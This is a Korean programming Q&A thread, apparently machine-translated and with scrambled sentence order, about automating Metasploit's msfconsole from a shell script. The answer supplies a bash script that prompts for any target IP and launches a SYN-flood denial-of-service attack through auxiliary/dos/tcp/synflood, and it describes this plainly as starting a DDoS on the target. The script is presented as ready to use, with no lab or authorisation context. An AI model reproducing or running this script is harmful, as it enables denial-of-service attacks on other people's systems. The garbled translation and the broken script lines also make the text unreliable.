2017-04-22 3 views
1

이제는 스크립트를 작성하여 metasploit을 자동화 할 수 있습니다. 이제 스크립트는 터미널에서 실행해야하는 명령이 실행될 때까지 작동하지만 내부에서 실행해야하는 명령을 실행하려고 할 때까지 작동합니다. metasploit console은 콘솔을 수동으로 종료 할 때까지 스크립트를 멈추고 다음 줄에서 다시 시작합니다.콘솔 내에서 명령을 실행하는 스크립트 작성

metasploit을 실행하면 명령을 실행할 수있는 터미널 내에 콘솔 (msfconsole)이 열립니다.

내 스크립트에서 특정 명령을 추가하여 콘솔 내부에서 실행할 수 있습니까 ??

내가 실행할 명령입니다 : MSF 난 당신이 생각>

+0

입니다 쉘 스크립트 또는 파이썬 또는 루비인가? – LethalProgrammer

+0

쉘 스크립트 – HeroicJokester

+0

쉘 스크립트에서 특정 명령을 실행하는 방법, 어떤 종류의 명령을'ls, cat, ps'라고 묻는가? – LethalProgrammer

답변

1

: 모든 명령 콘솔에서 입력해야이 후

msfconsole (this command starts the metasploit console, this command works fine in the script) 
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do) 

, 콘솔은 다음과 같이 보입니다 이것은/도스/TCP/synflood 보조를 사용 msfconsole 시작하고 IP 주소 유형입니다 대상에 DDOS 공격을 시작합니다이

#!/bin/bash 
    TARGET 
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address" 
    read TARGET 
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit; 

처럼 뭔가를 찾고 사용자. 당신은 변경이 방식을 사용 메타 스플로 잇를 자동화하는 다른 스크립트를 작성할 수있는 악용 변수 망가 할 것을 잊지는 chmod A + X yourscript.sh 또한 이것 좀 봐 가지고 실행 을 허용하려면 다음 스크립트가 무엇 https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/